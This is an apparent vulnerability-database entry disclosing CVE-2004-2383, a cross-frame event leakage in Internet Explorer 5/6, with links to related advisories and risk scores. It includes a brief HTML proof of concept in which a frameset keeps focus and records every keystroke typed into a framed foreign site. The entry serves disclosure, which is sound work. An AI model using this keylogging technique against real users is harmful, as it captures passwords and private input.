Microsoft Internet Explorer 5/6 - Cross-Domain Event Leakage

🗓️ 27 Feb 2004 00:00:00Reported by iDefenseType

Cross-domain leakage in Microsoft Internet Explorer may expose sensitive keystrokes to attackers.

Reporter	Title	Published	Views	Family All 4
Check Point Advisories	Internet Explorer Cross Frame Scripting Restriction Bypass (CVE-2004-2383)	9 Feb 201000:00	–	checkpoint_advisories
CVE	CVE-2004-2383	16 Aug 200504:00	–	cve
Cvelist	CVE-2004-2383	16 Aug 200504:00	–	cvelist
NVD	CVE-2004-2383	31 Dec 200405:00	–	nvd

source: https://www.securityfocus.com/bid/9761/info

Microsoft Internet Explorer is reported to be prone to an issue that may leak sensitive information across foreign domains.

This issue could permit framesets in different domains to leak various events, including keyboard events. This could effectively permit a hostile web page to capture keystrokes from a foreign domain.

<html>
<head><title>IE Cross Frame Scripting Restriction Bypass Example</title>
<script>
var keylog='';
document.onkeypress = function () {
k = window.event.keyCode;
window.status = keylog += String.fromCharCode(k) + '[' + k +']';
}
</script>
</head>
<frameset onLoad="this.focus();" onBlur="this.focus();" cols="100%,*">
<frame src="http://www.example.com" scrolling="auto">
</frameset>
</html>

31 Dec 2012 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 25.1

EPSS0.19967